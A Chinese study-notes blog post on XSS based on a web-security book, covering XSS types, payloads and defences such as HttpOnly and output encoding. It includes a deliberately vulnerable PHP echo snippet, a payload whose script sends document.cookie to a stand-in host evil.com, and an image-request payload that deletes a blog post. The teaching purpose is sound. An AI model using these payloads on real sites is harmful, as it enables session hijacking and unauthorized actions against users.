白帽子讲Web安全学习之XSS
目录
1.XSS简介
2.XSS攻击进阶
2.1初探XSS Payload
2.2 强大的XSS Payload
2.3 XSS防御
1.XSS简介
跨站脚本攻击(Cross Site Sript)缩写XSS,XSS攻击通常指黑客通过HTML注入篡改了网页,插入了恶意脚本,从而在用户浏览网页时,控制用户的浏览器的一种攻击方式。下面看个例子
<?php$input = $_GET["param"];
echo "<div>".$input."</div>";?>
正常情况下,用户输入数据提交param后,代码会将其输入的展示到页面中,但是由于没有对用户输入进行限制,如果用户输入以下代码:
http://www.a.com/test.php?param=<script>alert('弹窗')</script>
会发现浏览器执行了alert()命令弹窗了。
以上这种例子,就是XSS中的反射型XSS,另外还有存储型XSS和DOM型XSS。
反射型XSS:反射型XSS只是简单地把用户输入的数据反射给浏览器,也就是说往往需要诱使用户点击恶意连接后才可以攻击成功。反射型XSS也叫非持久性XSS。
存储型XSS:存储型 XSS会把用户数据的数据存储到服务器端,这种XSS具有很强的稳定性。比较常见的常见是黑客写下一篇将其发表后,所以访问改文章的用户都会在他们的浏览器中执行这段恶意代码。
DOM型XSS:DOM型XSS从效果上来说也是反射型XSS,通过修改页面的DOM节点形成的XSS称之为DOM型XSS。
2.XSS攻击进阶
2.1初探XSS Payload
XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本控制用户的浏览器,这些恶意脚本被称为XSS Payload,实际上就是JS脚本(或Flash或其他富文本客户端的脚本)。
一个常见的XSS Payload,就是通过读取浏览器的Cookie对象从而发起的Cookie劫持攻击,Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失就意味着用户的登录凭证丢失,也就代表着攻击者不需要输入密码就可以登录用户的账户。
如下所示,攻击者先加载一个远程脚本,真正的XSS Payload写在这个远程脚本中
http://www.a.com/test.htm?abc=''><script src=http://www.evil/com/evil.js ></script>#evil.js
var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
evil.js这段代码在页面中插入了一张看不见的图片,同时将cocument.cookie对象作为参数发送到了远程服务器。
2.2 强大的XSS Payload
攻击者可以通过传递参数来达到攻击的目的,如下是正常的删除文章代码
http://blog.sohu.com/manage/entry.do?delete&id=156713012
假设该网站存在XSS漏洞,攻击者仅需要知道文章id就能够通过GET请求来删除这篇文章。攻击者可以插入一张图片来发起一个GET请求:
var img = document.createElement("img");
img.src = "http://blog.sohu.com/manage/entry.do?m=delete&id=156713012";
document.body.appendChild(img);
攻击者只需要让博客的作者执行这段JS代码(XSS Payload),就会将文章删除
2.3 XSS防御
2.3.1 httponly
httponly解决的是XSS后的cookie劫持攻击,一个cookie的使用过程如下:
- 浏览器向服务器发送请求,此时无cookie
- 服务器返回时发送Set-Cookie头,向客户浏览器写入Cookie
- 在该cookie到期前,浏览器访问该域下的所有页面,都将发送该cookie
HttpOnly是在Set-Cookie时标记的,如果设置了HttpOnly攻击者是无法读取到cookie的
2.3.2 输入检查
常见的Web漏洞如SQL注入,XSS等都需要使用特殊字符,这些字符正常用户是用不到的,所以可以进行必要的输入检查如' < ' , ' > ' , ' / ' 等
2.3.3输出检查
输出检查即对输出进行编码或转义来防御XSS攻击,如HTMLEncode,JavascriptEncode等编码函数
白帽子讲Web安全学习之XSS相关推荐
- 白帽子讲Web安全学习之浏览器
目录 1.同源策略 2.浏览器沙箱 3. 恶意网址拦截 1.同源策略 同源策略是一种约定,它是浏览器最核心也是最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能会受到影响 ...
- 白帽子讲Web安全学习之CSRF
目录 1.CSRF简介 2.CSRF进阶 2.1 浏览器Cookie策略和P3P的副作用 2.2 提交方式 2.3 CSRF防御 2.3.1 验证码 2.3.2 Referer Check 2.3.3 ...
- 《白帽子讲Web安全》学习笔记
一.为何要了解Web安全 最近加入新公司后,公司的官网突然被Google标记为了不安全的诈骗网站,一时间我们信息技术部门成为了众矢之的,虽然老官网并不是我们开发的(因为开发老官网的前辈们全都跑路了). ...
- 在学习web安全的小白看过来,这本《白帽子讲web安全》强烈推荐,必读!(附PDF)
Web是互联网的核心,是未来云计算和移动互联网的最佳载体,因此Web安全也是互联网公司安全业务中最重要的组成部分. 前排提醒:文末有pdf领取 下面来看看几种常见的web漏洞: 1.XSS跨站脚本攻击 ...
- 学习web安全,强烈推荐这本《白帽子讲web安全》!
Web是互联网的核心,是未来云计算和移动互联网的最佳载体,因此Web安全也是互联网公司安全业务中最重要的组成部分. 下面来看看几种常见的web漏洞: 1.XSS跨站脚本攻击 XSS跨站脚本攻击,通常指 ...
- 《白帽子讲Web安全》读后感 —— 对道哥的致敬
<白帽子讲Web安全>读后感 --Deep Blue (一个安全小兵的感受) 这是一篇作业:这是一篇读后感:这是一篇记录安全的感悟:这是一篇对道哥的敬仰:这是我安全启蒙的钥匙...... ...
- 白帽子讲web安全——认证与会话管理
在看白帽子讲web安全,刚好看到认证与会话管理:也就是我们在平常渗透测试中遇到最多的登录页面,也即是用户名和密码认证方式,这是最常见的认证方式. 了解两个概念:认证和授权 1):认证的目的是为了认出用 ...
- 读《白帽子讲Web安全》之客户端脚本安全(一)
2019独角兽企业重金招聘Python工程师标准>>> [第2章 浏览器安全] 1.同源策略(Same Origin Policy)是一种约定,它是浏览器最核心也最基本的安全功能. ...
- 读白帽子讲WEB安全,摘要
读<白帽子讲WEB安全>摘要 文章目录 我的安全世界观 安全三要素-CIA 如何实施安全评估 白帽子兵法 客户端安全 浏览器安全 同源策略 浏览器沙箱 恶意网址拦截 高速发展的浏览器安全 ...
- 白帽子讲WEB安全读书笔记(慢慢更新)
道哥写的白帽子讲WEB安全的读书笔记 文章目录 2020.3.23 ◆ 前言 ◆ 第一篇 世界观安全 1.1 Web安全简史 >> 1.1.1 中国黑客简史 >> 1.1.2 ...
最新文章
- 铁大Facebook——十天冲刺(5)
- 关于Unity中的Mesh Collider碰撞器
- workbench拓扑优化教程_优化技术在水泵水力设计的应用(上篇)
- python tkinter进度条_在python tkinter中Canvas实现进度条显示的方法
- zdc找不到xenapp服务器,Citrix XenApp 在检测过程使用时出错
- 深入解读Docker底层技术Cgroup
- 联合密度函数求期望_已知(X,Y)的联合概率密度,分别求X,Y的期望、方差
- android超级终端使用,android系统超级终端怎么用?
- [Proteus8]使用proteus8对单片机进行模拟仿真,记录方波图出现的过程
- 计算机软件工程国家标准汇编目录
- 小米手机控制PPT文档、查看进度的那些事
- python更改图片中物体的颜色_Python实现去除图片中指定颜色的像素功能示例
- java 获取某一天的起始时间
- 详解:大数据分析的学习之路
- 解决Windows XP 系统下,用户登录一直循环提示激活
- 中国自媒体行业竞争格局与运营盈利模式分析报告2022年
- 补充Live555推实时流
- 带你修改电脑用户名从中文到英文
- android实习报告,基于Android的毕业实习报告.doc
- 向日葵显示disconnect,连接不上